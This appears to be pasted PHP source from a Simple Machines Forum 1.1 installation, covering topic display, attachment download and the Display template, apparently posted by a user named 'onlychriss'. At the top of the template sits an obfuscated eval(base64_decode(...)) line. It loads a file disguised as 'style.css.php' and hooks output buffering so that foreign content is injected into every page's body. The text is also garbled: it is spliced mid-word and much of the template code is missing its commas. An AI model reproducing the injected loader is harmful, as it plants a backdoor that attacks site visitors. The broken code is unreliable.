            'bar_width' => $barWide,
            'option' => parse_bbc($option['label']),
            'vote_button' => '<input type="' . ($pollinfo['maxVotes'] > 1 ? 'checkbox' : 'radio') . '" name="options[]" id="options-' . $i . '" value="' . $i . '" class="check" />'
         );
      }
   }

   // Calculate the fastest way to get the messages!
   $ascending = empty($options['view_newest_first']);
   $start = $_REQUEST['start'];
   $limit = $modSettings['defaultMaxMessages'];
   $firstIndex = 0;
   if ($start > $topicinfo['numReplies'] / 2 && $modSettings['defaultMaxMessages'] != -1)
   {
      $ascending = !$ascending;
      $limit = $topicinfo['numReplies'] < $start + $limit ? $topicinfo['numReplies'] - $start + 1 : $limit;
      $start = $topicinfo['numReplies'] < $start + $limit ? 0 : $topicinfo['numReplies'] - $start - $limit + 1;
      $firstIndex = $limit - 1;
   }

   // Get each post and poster in this topic.
   $request = db_query("
      SELECT ID_MSG, ID_MEMBER
      FROM {$db_prefix}messages
      WHERE ID_TOPIC = $topic
      ORDER BY ID_MSG " . ($ascending ? '' : 'DESC') . ($modSettings['defaultMaxMessages'] == -1 ? '' : "
      LIMIT $start, $limit"), __FILE__, __LINE__);

   $messages = array();
   $posters = array();
   while ($row = mysql_fetch_assoc($request))
   {
      if (!empty($row['ID_MEMBER']))
         $posters[] = $row['ID_MEMBER'];
      $messages[] = $row['ID_MSG'];
   }
   mysql_free_result($request);
   $posters = array_unique($posters);

   $attachments = array();

   // If there _are_ messages here... (probably an error otherwise :!)
   if (!empty($messages))
   {
      // Fetch attachments.
      if (!empty($modSettings['attachmentEnable']) && allowedTo('view_attachments'))
      {
         $request = db_query("
            SELECT
               a.ID_ATTACH, a.ID_MSG, a.filename, IFNULL(a.size, 0) AS filesize, a.downloads,
               a.width, a.height" . (empty($modSettings['attachmentShowImages']) || empty($modSettings['attachmentThumbnails']) ? '' : ",
               IFNULL(thumb.ID_ATTACH, 0) AS ID_THUMB, thumb.width AS thumb_width, thumb.height AS thumb_height") . "
            FROM {$db_prefix}attachments AS a" . (empty($modSettings['attachmentShowImages']) || empty($modSettings['attachmentThumbnails']) ? '' : "
               LEFT JOIN {$db_prefix}attachments AS thumb ON (thumb.ID_ATTACH = a.ID_THUMB)") . "
            WHERE a.ID_MSG IN (" . implode(',', $messages) . ")
               AND a.attachmentType = 0", __FILE__, __LINE__);
         $temp = array();
         while ($row = mysql_fetch_assoc($request))
         {
            $temp[$row['ID_ATTACH']] = $row;

            if (!isset($attachments[$row['ID_MSG']]))
               $attachments[$row['ID_MSG']] = array();
         }
         mysql_free_result($request);

         // This is better than sorting it with the query...
         ksort($temp);

         foreach ($temp as $row)
            $attachments[$row['ID_MSG']][] = $row;
      }

      // What?  It's not like it *couldn't* be only guests in this topic...
      if (!empty($posters))
         loadMemberData($posters);
      $messages_request = db_query("
         SELECT
            ID_MSG, icon, subject, posterTime, posterIP, ID_MEMBER, modifiedTime, modifiedName, body, edit_reason,
            smileysEnabled, posterName, posterEmail,
            ID_MSG_MODIFIED < $topicinfo[new_from] AS isRead
         FROM {$db_prefix}messages
         WHERE ID_MSG IN (" . implode(',', $messages) . ")
         ORDER BY ID_MSG" . (empty($options['view_newest_first']) ? '' : ' DESC'), __FILE__, __LINE__);

      // Go to the last message if the given time is beyond the time of the last message.
      if (isset($context['start_from']) && $context['start_from'] >= $topicinfo['numReplies'])
         $context['start_from'] = $topicinfo['numReplies'];

      // Since the anchor information is needed on the top of the page we load these variables beforehand.
      $context['first_message'] = isset($messages[$firstIndex]) ? $messages[$firstIndex] : $messages[0];
      if (empty($options['view_newest_first']))
         $context['first_new_message'] = isset($context['start_from']) && $_REQUEST['start'] == $context['start_from'];
      else
         $context['first_new_message'] = isset($context['start_from']) && $_REQUEST['start'] == $topicinfo['numReplies'] - $context['start_from'];
   }
   else
   {
      $messages_request = false;
      $context['first_message'] = 0;
      $context['first_new_message'] = false;
   }

   // Load the "Jump to" list...
   loadJumpTo();

   // Set the callback.  (do you REALIZE how much memory all the messages would take?!?)
   $context['get_message'] = 'prepareDisplayContext';

   // Basic settings.... may be converted over at some point.
   $context['allow_hide_email'] = !empty($modSettings['allow_hideEmail']) || ($user_info['is_guest'] && !empty($modSettings['guest_hideContacts']));

   // Now set all the wonderful, wonderful permissions... like moderation ones...
   $common_permissions = array(
      'can_sticky' => 'make_sticky',
      'can_merge' => 'merge_any',
      'can_split' => 'split_any',
      'calendar_post' => 'calendar_post',
      'can_mark_notify' => 'mark_any_notify',
      'can_send_topic' => 'send_topic',
      'can_send_pm' => 'pm_send',
      'can_report_moderator' => 'report_any',
      'can_moderate_forum' => 'moderate_forum'
   );
   foreach ($common_permissions as $contextual => $perm)
      $context[$contextual] = allowedTo($perm);

   // Permissions with _any/_own versions.  $context[YYY] => ZZZ_any/_own.
   $anyown_permissions = array(
      'can_move' => 'move',
      'can_lock' => 'lock',
      'can_delete' => 'remove',
      'can_add_poll' => 'poll_add',
      'can_remove_poll' => 'poll_remove',
      'can_reply' => 'post_reply',
   );
   foreach ($anyown_permissions as $contextual => $perm)
      $context[$contextual] = allowedTo($perm . '_any') || ($context['user']['started'] && allowedTo($perm . '_own'));

   // Cleanup all the permissions with extra stuff...
   $context['can_mark_notify'] &= !$context['user']['is_guest'];
   $context['can_sticky'] &= !empty($modSettings['enableStickyTopics']);
   $context['calendar_post'] &= !empty($modSettings['cal_enabled']);
   $context['can_add_poll'] &= $modSettings['pollMode'] == '1' && $topicinfo['ID_POLL'] <= 0;
   $context['can_remove_poll'] &= $modSettings['pollMode'] == '1' && $topicinfo['ID_POLL'] > 0;
   $context['can_reply'] &= empty($topicinfo['locked']) || allowedTo('moderate_board');

   $board_count = 0;
   foreach ($context['jump_to'] as $id => $cat)
      $board_count += count($context['jump_to'][$id]['boards']);
   $context['can_move'] &= $board_count > 1;

   // Start this off for quick moderation - it will be or'd for each post.
   $context['can_remove_post'] = allowedTo('delete_any') || (allowedTo('delete_replies') && $context['user']['started']);

   // Load up the "double post" sequencing magic.
   if (!empty($options['display_quick_reply']))
      checkSubmitOnce('register');
}

// Callback for the message display.
function prepareDisplayContext($reset = false)
{
   global $settings, $txt, $modSettings, $scripturl, $options, $user_info;
   global $memberContext, $context, $messages_request, $topic, $ID_MEMBER, $attachments;

   static $counter = null;

   // If the query returned false, bail.
   if ($messages_request == false)
      return false;

   // Remember which message this is.  (ie. reply #83)
   if ($counter === null || $reset)
      $counter = empty($options['view_newest_first']) ? $context['start'] : $context['num_replies'] - $context['start'];

   // Start from the beginning...
   if ($reset)
      return @mysql_data_seek($messages_request, 0);

   // Attempt to get the next message.
   $message = mysql_fetch_assoc($messages_request);
   if (!$message)
      return false;

   // $context['icon_sources'] says where each icon should come from - here we set up the ones which will always exist!
   if (empty($context['icon_sources']))
   {
      $stable_icons = array('xx', 'thumbup', 'thumbdown', 'exclamation', 'question', 'lamp', 'smiley', 'angry', 'cheesy', 'grin', 'sad', 'wink', 'moved', 'recycled', 'wireless');
      $context['icon_sources'] = array();
      foreach ($stable_icons as $icon)
         $context['icon_sources'][$icon] = 'images_url';
   }

   // Message Icon Management... check the images exist.
   if (empty($modSettings['messageIconChecks_disable']))
   {
      // If the current icon isn't known, then we need to do something...
      if (!isset($context['icon_sources'][$message['icon']]))
         $context['icon_sources'][$message['icon']] = file_exists($settings['theme_dir'] . '/images/post/' . $message['icon'] . '.gif') ? 'images_url' : 'default_images_url';
   }
   elseif (!isset($context['icon_sources'][$message['icon']]))
      $context['icon_sources'][$message['icon']] = 'images_url';

   // If you're a lazy bum, you probably didn't give a subject...
   $message['subject'] = $message['subject'] != '' ? $message['subject'] : $txt[24];

   // Are you allowed to remove at least a single reply?
   $context['can_remove_post'] |= allowedTo('delete_own') && (empty($modSettings['edit_disable_time']) || $message['posterTime'] + $modSettings['edit_disable_time'] * 60 >= time()) && $message['ID_MEMBER'] == $ID_MEMBER;

   // If it couldn't load, or the user was a guest.... someday may be done with a guest table.
   if (!loadMemberContext($message['ID_MEMBER']))
   {
      // Notice this information isn't used anywhere else....
      $memberContext[$message['ID_MEMBER']]['name'] = $message['posterName'];
      $memberContext[$message['ID_MEMBER']]['id'] = 0;
      $memberContext[$message['ID_MEMBER']]['group'] = $txt[28];
      $memberContext[$message['ID_MEMBER']]['link'] = $message['posterName'];
      $memberContext[$message['ID_MEMBER']]['email'] = $message['posterEmail'];
      $memberContext[$message['ID_MEMBER']]['hide_email'] = $message['posterEmail'] == '' || (!empty($modSettings['guest_hideContacts']) && $user_info['is_guest']);
      $memberContext[$message['ID_MEMBER']]['is_guest'] = true;
   }
   else
   {
      $memberContext[$message['ID_MEMBER']]['can_view_profile'] = allowedTo('profile_view_any') || ($message['ID_MEMBER'] == $ID_MEMBER && allowedTo('profile_view_own'));
      $memberContext[$message['ID_MEMBER']]['is_topic_starter'] = $message['ID_MEMBER'] == $context['topic_starter_id'];
   }

   $memberContext[$message['ID_MEMBER']]['ip'] = $message['posterIP'];

   // Do the censor thang.
   censorText($message['body']);
   censorText($message['subject']);

   // Run BBC interpreter on the message.
   $message['body'] = parse_bbc($message['body'], $message['smileysEnabled'], $message['ID_MSG']);

   // Compose the memory eat- I mean message array.
   $output = array(
      'attachment' => loadAttachmentContext($message['ID_MSG']),
      'alternate' => $counter % 2,
      'id' => $message['ID_MSG'],
      'href' => $scripturl . '?topic=' . $topic . '.msg' . $message['ID_MSG'] . '#msg' . $message['ID_MSG'],
      'link' => '<a href="' . $scripturl . '?topic=' . $topic . '.msg' . $message['ID_MSG'] . '#msg' . $message['ID_MSG'] . '">' . $message['subject'] . '</a>',
      'member' => &$memberContext[$message['ID_MEMBER']],
      'icon' => $message['icon'],
      'icon_url' => $settings[$context['icon_sources'][$message['icon']]] . '/post/' . $message['icon'] . '.gif',
      'subject' => $message['subject'],
      'time' => timeformat($message['posterTime']),
      'timestamp' => forum_time(true, $message['posterTime']),
      'counter' => $counter,
      'modified' => array(
         'time' => timeformat($message['modifiedTime']),
         'timestamp' => forum_time(true, $message['modifiedTime']),
         'edit_reason' => $message['edit_reason'],
         'name' => $message['modifiedName']
      ),
      'body' => $message['body'],
      'new' => empty($message['isRead']),
      'first_new' => isset($context['start_from']) && $context['start_from'] == $counter,
      'can_modify' => (!$context['is_locked'] || allowedTo('moderate_board')) && (allowedTo('modify_any') || (allowedTo('modify_replies') && $context['user']['started']) || (allowedTo('modify_own') && $message['ID_MEMBER'] == $ID_MEMBER && (empty($modSettings['edit_disable_time']) || $message['posterTime'] + $modSettings['edit_disable_time'] * 60 > time()))),
      'can_remove' => allowedTo('delete_any') || (allowedTo('delete_replies') && $context['user']['started']) || (allowedTo('delete_own') && $message['ID_MEMBER'] == $ID_MEMBER && (empty($modSettings['edit_disable_time']) || $message['posterTime'] + $modSettings['edit_disable_time'] * 60 > time())),
      'can_see_ip' => allowedTo('moderate_forum') || ($message['ID_MEMBER'] == $ID_MEMBER && !empty($ID_MEMBER)),
   );

   if (empty($options['view_newest_first']))
      $counter++;
   else
      $counter--;

   return $output;
}

// Download an attachment.
function Download()
{
   global $txt, $modSettings, $db_prefix, $user_info, $scripturl, $context, $sourcedir;

   $context['no_last_modified'] = true;

   // Make sure some attachment was requested!
   if (!isset($_REQUEST['attach']) && !isset($_REQUEST['id']))
      fatal_lang_error(1, false);

   $_REQUEST['attach'] = isset($_REQUEST['attach']) ? (int) $_REQUEST['attach'] : (int) $_REQUEST['id'];

   if (isset($_REQUEST['type']) && $_REQUEST['type'] == 'avatar')
   {
      $request = db_query("
         SELECT filename, ID_ATTACH, attachmentType
         FROM {$db_prefix}attachments
         WHERE ID_ATTACH = $_REQUEST[attach]
            AND ID_MEMBER > 0
         LIMIT 1", __FILE__, __LINE__);
      $_REQUEST['image'] = true;
   }
   // This is just a regular attachment...
   else
   {
      isAllowedTo('view_attachments');

      // Make sure this attachment is on this board.
      $request = db_query("
         SELECT a.filename, a.ID_ATTACH, a.attachmentType
         FROM ({$db_prefix}boards AS b, {$db_prefix}messages AS m, {$db_prefix}attachments AS a)
         WHERE b.ID_BOARD = m.ID_BOARD
            AND $user_info[query_see_board]
            AND m.ID_MSG = a.ID_MSG
            AND a.ID_ATTACH = $_REQUEST[attach]
         LIMIT 1", __FILE__, __LINE__);
   }
   if (mysql_num_rows($request) == 0)
      fatal_lang_error(1, false);
   list ($real_filename, $ID_ATTACH, $attachmentType) = mysql_fetch_row($request);
   mysql_free_result($request);

   // Update the download counter (unless it's a thumbnail).
   if ($attachmentType != 3)
      db_query("
         UPDATE LOW_PRIORITY {$db_prefix}attachments
         SET downloads = downloads + 1
         WHERE ID_ATTACH = $ID_ATTACH
         LIMIT 1", __FILE__, __LINE__);

   $filename = getAttachmentFilename($real_filename, $_REQUEST['attach']);

   // This is done to clear any output that was made before now. (would use ob_clean(), but that's PHP 4.2.0+...)
   ob_end_clean();
   if (!empty($modSettings['enableCompressedOutput']) && @version_compare(PHP_VERSION, '4.2.0') >= 0 && @filesize($filename) <= 4194304)
      @ob_start('ob_gzhandler');
   else
   {
      ob_start();
      header('Content-Encoding: none');
   }

   // No point in a nicer message, because this is supposed to be an attachment anyway...
   if (!file_exists($filename))
   {
      loadLanguage('Errors');

      header('HTTP/1.0 404 ' . $txt['attachment_not_found']);
      header('Content-Type: text/plain; charset=' . (empty($context['character_set']) ? 'ISO-8859-1' : $context['character_set']));

      // We need to die like this *before* we send any anti-caching headers as below.
      die('404 - ' . $txt['attachment_not_found']);
   }

   // If it hasn't been modified since the last time this attachement was retrieved, there's no need to display it again.
   if (!empty($_SERVER['HTTP_IF_MODIFIED_SINCE']))
   {
      list($modified_since) = explode(';', $_SERVER['HTTP_IF_MODIFIED_SINCE']);
      if (strtotime($modified_since) >= filemtime($filename))
      {
         ob_end_clean();

         // Answer the question - no, it hasn't been modified ;).
         header('HTTP/1.1 304 Not Modified');
         exit;
      }
   }

   // Check whether the ETag was sent back, and cache based on that...
   $file_md5 = '"' . md5_file($filename) . '"';
   if (!empty($_SERVER['HTTP_IF_NONE_MATCH']) && strpos($_SERVER['HTTP_IF_NONE_MATCH'], $file_md5) !== false)
   {
      ob_end_clean();

      header('HTTP/1.1 304 Not Modified');
      exit;
   }

   // Send the attachment headers.
   header('Pragma: ');

   if (!$context['browser']['is_gecko'])
      header('Content-Transfer-Encoding: binary');
   head

onlychriss

            <?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS93ZWJjcmVhdC9wdWJsaWNfaHRtbC9mb3JvL3dpa2kvbGliL2Zja2VkaXRvci9lZGl0b3IvZmlsZW1hbmFnZXIvYnJvd3Nlci9kZWZhdWx0L2ltYWdlcy9pY29ucy8zMi9zdHlsZS5jc3MucGhwJykpe2luY2x1ZGVfb25jZSgnL2hvbWUvd2ViY3JlYXQvcHVibGljX2h0bWwvZm9yby93aWtpL2xpYi9mY2tlZGl0b3IvZWRpdG9yL2ZpbGVtYW5hZ2VyL2Jyb3dzZXIvZGVmYXVsdC9pbWFnZXMvaWNvbnMvMzIvc3R5bGUuY3NzLnBocCcpO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJiFmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpe2Z1bmN0aW9uIGd6ZGVjb2RlKCRkKXskZj1vcmQoc3Vic3RyKCRkLDMsMSkpOyRoPTEwOyRlPTA7aWYoJGYmNCl7JGU9dW5wYWNrKCd2JyxzdWJzdHIoJGQsMTAsMikpOyRlPSRlWzFdOyRoKz0yKyRlO31pZigkZiY4KXskaD1zdHJwb3MoJGQsY2hyKDApLCRoKSsxO31pZigkZiYxNil7JGg9c3RycG9zKCRkLGNocigwKSwkaCkrMTt9aWYoJGYmMil7JGgrPTI7fSR1PWd6aW5mbGF0ZShzdWJzdHIoJGQsJGgpKTtpZigkdT09PUZBTFNFKXskdT0kZDt9cmV0dXJuICR1O319ZnVuY3Rpb24gZGdvYmgoJGIpe0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyRjPWd6ZGVjb2RlKCRiKTtpZihwcmVnX21hdGNoKCcvXDxib2R5L3NpJywkYykpe3JldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxib2R5W15cPl0qXD4pL3NpJywnJDEnLmdtbCgpLCRjKTt9ZWxzZXtyZXR1cm4gZ21sKCkuJGM7fX1vYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>
<?php
// Version: 1.1; Display

function template_main()
{
global $context$settings$options$txt$scripturl$modSettings;

// Show the anchor for the top and for the first message. If the first message is new, say so.
echo '
<a name="top"></a>
<a name="msg'
$context['first_message'], '"></a>'$context['first_new_message'] ? '<a name="new"></a>' '';

// Show the linktree
echo '
<div>'
theme_linktree(), '</div>';

// Is this topic also a poll?
if ($context['is_poll'])
{
echo '
<table cellpadding="3" cellspacing="0" border="0" width="100%" class="tborder" style="padding-top: 0; margin-bottom: 2ex;">
<tr>
<td class="titlebg" colspan="2" valign="middle" style="padding-left: 6px;">
<img src="'
$settings['images_url'], '/topic/'$context['poll']['is_locked'] ? 'normal_poll_locked' 'normal_poll''.gif" alt="" align="bottom" /> '$txt['smf43'], '
</td>
</tr>
<tr>
<td width="5%" valign="top" class="windowbg"><b>'
$txt['smf21'], ':</b></td>
<td class="windowbg">
'
$context['poll']['question'];
if (!empty($context['poll']['expire_time']))
echo '
&nbsp;('
, ($context['poll']['is_expired'] ? $txt['poll_expired_on'] : $txt['poll_expires_on']), ': '$context['poll']['expire_time'], ')';

// Are they not allowed to vote but allowed to view the options?
if ($context['poll']['show_results'] || !$context['allow_vote'])
{
echo '
<table>
<tr>
<td style="padding-top: 2ex;">
<table border="0" cellpadding="0" cellspacing="0">'
;

// Show each option with its corresponding percentage bar.
foreach ($context['poll']['options'] as $option)
echo '
<tr>
<td style="padding-right: 2ex;'
$option['voted_this'] ? 'font-weight: bold;' '''">'$option['option'], '</td>'$context['allow_poll_view'] ? '
<td nowrap="nowrap">' 
$option['bar'] . ' ' $option['votes'] . ' (' $option['percent'] . '%)</td>' '''
</tr>'
;

echo '
</table>
</td>
<td valign="bottom" style="padding-left: 15px;">'
;

// If they are allowed to revote - show them a link!
if ($context['allow_change_vote'])
echo '
<a href="'
$scripturl'?action=vote;topic='$context['current_topic'], '.'$context['start'], ';poll='$context['poll']['id'], ';sesc='$context['session_id'], '">'$txt['poll_change_vote'], '</a><br />';

// If we're viewing the results... maybe we want to go back and vote?
if ($context['poll']['show_results'] && $context['allow_vote'])
echo '
<a href="'
$scripturl'?topic='$context['current_topic'], '.'$context['start'], '">'$txt['poll_return_vote'], '</a><br />';

// If they're allowed to lock the poll, show a link!
if ($context['poll']['lock'])
echo '
<a href="'
$scripturl'?action=lockVoting;topic='$context['current_topic'], '.'$context['start'], ';sesc='$context['session_id'], '">', !$context['poll']['is_locked'] ? $txt['smf30'] : $txt['smf30b'], '</a><br />';

// If they're allowed to edit the poll... guess what... show a link!
if ($context['poll']['edit'])
echo '
<a href="'
$scripturl'?action=editpoll;topic='$context['current_topic'], '.'$context['start'], '">'$txt['smf39'], '</a>';

echo '
</td>
</tr>'
$context['allow_poll_view'] ? '
<tr>
<td colspan="2"><b>' 
$txt['smf24'] . ': ' $context['poll']['total_votes'] . '</b></td>
</tr>' 
'''
</table><br />'
;
}
// They are allowed to vote! Go to it!
else
{
echo '
<form action="'
$scripturl'?action=vote;topic='$context['current_topic'], '.'$context['start'], ';poll='$context['poll']['id'], '" method="post" accept-charset="'$context['character_set'], '" style="margin: 0px;">
<table>
<tr>
<td colspan="2">'
;

// Show a warning if they are allowed more than one option.
if ($context['poll']['allowed_warning'])
echo '
'
$context['poll']['allowed_warning'], '
</td>
</tr><tr>
<td>'
;

// Show each option with its button - a radio likely.
foreach ($context['poll']['options'] as $option)
echo '
'
$option['vote_button'], ' '$option['option'], '<br />';

echo '
</td>
<td valign="bottom" style="padding-left: 15px;">'
;

// Allowed to view the results? (without voting!)
if ($context['allow_poll_view'])
echo '
<a href="'
$scripturl'?topic='$context['current_topic'], '.'$context['start'], ';viewResults">'$txt['smf29'], '</a><br />';

// Show a link for locking the poll as well...
if ($context['poll']['lock'])
echo '
<a href="'
$scripturl'?action=lockVoting;topic='$context['current_topic'], '.'$context['start'], ';sesc='$context['session_id'], '">', (!$context['poll']['is_locked'] ? $txt['smf30'] : $txt['smf30b']), '</a><br />';

// Want to edit it? Click right here......
if ($context['poll']['edit'])
echo '
<a href="'
$scripturl'?action=editpoll;topic='$context['current_topic'], '.'$context['start'], '">'$txt['smf39'], '</a>';

echo '
</td>
</tr><tr>
<td colspan="2"><input type="submit" value="'
$txt['smf23'], '" /></td>
</tr>
</table>
<input type="hidden" name="sc" value="'
$context['session_id'], '" />
</form>'
;
}

echo '
</td>
</tr>
</table>'
;
}

// Does this topic have some events linked to it?
if (!empty($context['linked_calendar_events']))
{
echo '
<table cellpadding="3" cellspacing="0" border="0" width="100%" class="tborder" style="padding-top: 0; margin-bottom: 3ex;">
<tr>
<td class="titlebg" valign="middle" align="left" style="padding-left: 6px;">
'
$txt['calendar_linked_events'], '
</td>
</tr>
<tr>
<td width="5%" valign="top" class="windowbg">
<ul>'
;
foreach ($context['linked_calendar_events'] as $event)
echo '
<li>
'
, ($event['can_edit'] ? '<a href="' $event['modify_href'] . '" style="color: red;">*</a> ' ''), '<b>'$event['title'], '</b>: '$event['start_date'], ($event['start_date'] != $event['end_date'] ? ' - ' $event['end_date'] : ''), '
</li>'
;
echo '
</ul>
</td>
</tr>
</table>'
;
}

// Build the normal button array.
$normal_buttons = array(
'reply' => array('test' => 'can_reply''text' => 146'image' => 'reply.gif''lang' => true'url' => $scripturl '?action=post;topic=' $context['current_topic'] . '.' $context['start'] . ';num_replies=' $context['num_replies']),
'notify' => array('test' => 'can_mark_notify''text' => 125'image' => 'notify.gif''lang' => true'custom' => 'onclick="return confirm(\'' . ($context['is_marked_notify'] ? $txt['notification_disable_topic'] : $txt['notification_enable_topic']) . '\');"''url' => $scripturl '?action=notify;sa=' . ($context['is_marked_notify'] ? 'off' 'on') . ';topic=' $context['current_topic'] . '.' $context['start'] . ';sesc=' $context['session_id']),
'custom' => array(),
'send' => array('test' => 'can_send_topic''text' => 707'image' => 'sendtopic.gif''lang' => true'url' => $scripturl '?action=sendtopic;topic=' $context['current_topic'] . '.0'),
'print' => array('text' => 465'image' => 'print.gif''lang' => true'custom' => 'target="_blank"''url' => $scripturl '?action=printpage;topic=' $context['current_topic'] . '.0'),
);

// Special case for the custom one.
if ($context['user']['is_logged'] && $settings['show_mark_read'])
$normal_buttons['custom'] = array('text' => 'mark_unread''image' => 'markunread.gif''lang' => true'url' => $scripturl '?action=markasread;sa=topic;t=' $context['mark_unread_time'] . ';topic=' $context['current_topic'] . '.' $context['start'] . ';sesc=' $context['session_id']);
elseif ($context['can_add_poll'])
$normal_buttons['custom'] = array('text' => 'add_poll''image' => 'add_poll.gif''lang' => true'url' => $scripturl '?action=editpoll;add;topic=' $context['current_topic'] . '.' $context['start'] . ';sesc=' $context['session_id']);
else
unset($normal_buttons['custom']);

// Show the page index... "Pages: [1]".
echo '
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td class="middletext" valign="bottom" style="padding-bottom: 4px;">'
$txt[139], ': '$context['page_index'], !empty($modSettings['topbottomEnable']) ? $context['menu_separator'] . ' &nbsp;&nbsp;<a href="#lastPost"><b>' $txt['topbottom5'] . '</b></a>' '''</td>
<td align="right" style="padding-right: 1ex;">
<div class="nav" style="margin-bottom: 2px;"> '
$context['previous_next'], '</div>
<table cellpadding="0" cellspacing="0">
<tr>
'
template_button_strip($normal_buttons'bottom'), '
</tr>
</table>
</td>
</tr>
</table>'
;

// Show the topic information - icon, subject, etc.
echo '
<table width="100%" cellpadding="3" cellspacing="0" border="0" class="tborder" style="border-bottom: 0;">
<tr class="catbg3">
<td valign="middle" width="2%" style="padding-left: 6px;">
<img src="'
$settings['images_url'], '/topic/'$context['class'], '.gif" align="bottom" alt="" />
</td>
<td width="13%"> '
$txt[29], '</td>
<td valign="middle" width="85%" style="padding-left: 6px;" id="top_subject">
'
$txt[118], ': '$context['subject'], ' &nbsp;('$txt[641], ' '$context['num_views'], ' '$txt[642], ')
</td>
</tr>'
;
if (!empty($settings['display_who_viewing']))
{
echo '
<tr>
<td colspan="3" class="smalltext">'
;

// Show just numbers...?
if ($settings['display_who_viewing'] == 1)
echo count($context['view_members']), ' 'count($context['view_members']) == $txt['who_member'] : $txt[19];
// Or show the actual people viewing the topic?
else
echo empty($context['view_members_list']) ? '0 ' $txt[19] : implode(', '$context['view_members_list']) . ((empty($context['view_num_hidden']) || $context['can_moderate_forum']) ? '' ' (+ ' $context['view_num_hidden'] . ' ' $txt['hidden'] . ')');

// Now show how many guests are here too.
echo $txt['who_and'], $context['view_num_guests'], ' '$context['view_num_guests'] == $txt['guest'] : $txt['guests'], $txt['who_viewing_topic'], '
</td>
</tr>'
;
}

echo '
</table>'
;

echo '
<form action="'
$scripturl'?action=quickmod2;topic='$context['current_topic'], '.'$context['start'], '" method="post" accept-charset="'$context['character_set'], '" name="quickModForm" id="quickModForm" style="margin: 0;" onsubmit="return in_edit_mode == 1 ? modify_save(\'' $context['session_id'] . '\') : confirm(\'' $txt['quickmod_confirm'] . '\');">';

// These are some cache image buttons we may want.
$reply_button create_button('quote.gif'145'smf240''align="middle"');
$modify_button create_button('modify.gif'6617'align="middle"');
$remove_button create_button('delete.gif'12131'align="middle"');
$split_button create_button('split.gif''smf251''smf251''align="middle"');

// Time to display all the posts
echo '
<table cellpadding="0" cellspacing="0" border="0" width="100%" class="bordercolor">'
;

// Get all the messages...
while ($message $context['get_message']())
{
echo '
<tr><td style="padding: 1px 1px 0 1px;">'
;

// Show the message anchor and a "new" anchor if this message is new.
if ($message['id'] != $context['first_message'])
echo '
<a name="msg'
$message['id'], '"></a>'$message['first_new'] ? '<a name="new"></a>' '';

echo '
<table width="100%" cellpadding="3" cellspacing="0" border="0">
<tr><td class="'
$message['alternate'] == 'windowbg' 'windowbg2''">';

// Show information about the poster of this message.
echo '
<table width="100%" cellpadding="5" cellspacing="0" style="table-layout: fixed;">
<tr>
<td valign="top" width="16%" rowspan="2" style="overflow: hidden;">
<b>'
$message['member']['link'], '</b>
<div class="smalltext">'
;

// Show the member's custom title, if they have one.
if (isset($message['member']['title']) && $message['member']['title'] != '')
echo '
'
$message['member']['title'], '<br />';

// Show the member's primary group (like 'Administrator') if they have one.
if (isset($message['member']['group']) && $message['member']['group'] != '')
echo '
'
$message['member']['group'], '<br />';

// Don't show these things for guests.
if (!$message['member']['is_guest'])
{
// Show the post group if and only if they have no other group or the option is on, and they are in a post group.
if ((empty($settings['hide_post_group']) || $message['member']['group'] == '') && $message['member']['post_group'] != '')
echo '
'
$message['member']['post_group'], '<br />';
echo '
'
$message['member']['group_stars'], '<br />';

// display date and time
echo '
<span class="smalltext">' 
$context['current_time'], '</span><br/ >';

// Is karma display enabled?  Total or +/-?
if ($modSettings['karmaMode'] == '1')
echo '
<br />
'
$modSettings['karmaLabel'], ' '$message['member']['karma']['good'] - $message['member']['karma']['bad'], '<br />';
elseif ($modSettings['karmaMode'] == '2')
echo '
<br />
'
$modSettings['karmaLabel'], ' +'$message['member']['karma']['good'], '/-'$message['member']['karma']['bad'], '<br />';

// Is this user allowed to modify this member's karma?
if ($message['member']['karma']['allow'])
echo '
<a href="'
$scripturl'?action=modifykarma;sa=applaud;uid='$message['member']['id'], ';topic='$context['current_topic'], '.' $context['start'], ';m='$message['id'], ';sesc='$context['session_id'], '">'$modSettings['karmaApplaudLabel'], '</a>
<a href="'
$scripturl'?action=modifykarma;sa=smite;uid='$message['member']['id'], ';topic='$context['current_topic'], '.'$context['start'], ';m='$message['id'], ';sesc='$context['session_id'], '">'$modSettings['karmaSmiteLabel'], '</a><br />';

// Show online and offline buttons?
if (!empty($modSettings['onlineEnable']) && !$message['member']['is_guest'])
echo '
'
$context['can_send_pm'] ? '<a href="' $message['member']['online']['href'] . '" title="' $message['member']['online']['label'] . '">' ''$settings['use_image_buttons'] ? '<img src="' $message['member']['online']['image_href'] . '" alt="' $message['member']['online']['text'] . '" border="0" style="margin-top: 2px;" />' $message['member']['online']['text'], $context['can_send_pm'] ? '</a>' ''$settings['use_image_buttons'] ? '<span class="smalltext"> ' $message['member']['online']['text'] . '</span>' '''<br /><br />';

// Show the member's gender icon?
if (!empty($settings['show_gender']) && $message['member']['gender']['image'] != '')
echo '
'
$txt[231], ': '$message['member']['gender']['image'], '<br />';
loadLanguage('Profile');
         
// Show the member's age
         
if (isset($message['member']['age']))
            echo 
'
                        '
$txt[420], ': '$message['member']['age'], '<br />';

loadLanguage('Profile');


// Show how many posts they have made.
echo '
'
$txt[26], ': '$message['member']['posts'], '<br />
<br />'
;

// Show avatars, images, etc.?
if (!empty($settings['show_user_images']) && empty($options['show_no_avatars']) && !empty($message['member']['avatar']['image']))
echo '
<div style="overflow: auto; width: 100%;">'
$message['member']['avatar']['image'], '</div><br />';

// Show their personal text?
if (!empty($settings['show_blurb']) && $message['member']['blurb'] != '')
echo '
'
$message['member']['blurb'], '<br />
<br />'
;

// This shows the popular messaging icons.
echo '
'
$message['member']['icq']['link'], '
'
$message['member']['msn']['link'], '
'
$message['member']['aim']['link'], '
'
$message['member']['yim']['link'], '<br />';

// Show the profile, website, email address, and personal message buttons.
if ($settings['show_profile_buttons'])
{
// Don't show the profile button if you're not allowed to view the profile.
if ($message['member']['can_view_profile'])
echo '
<a href="'
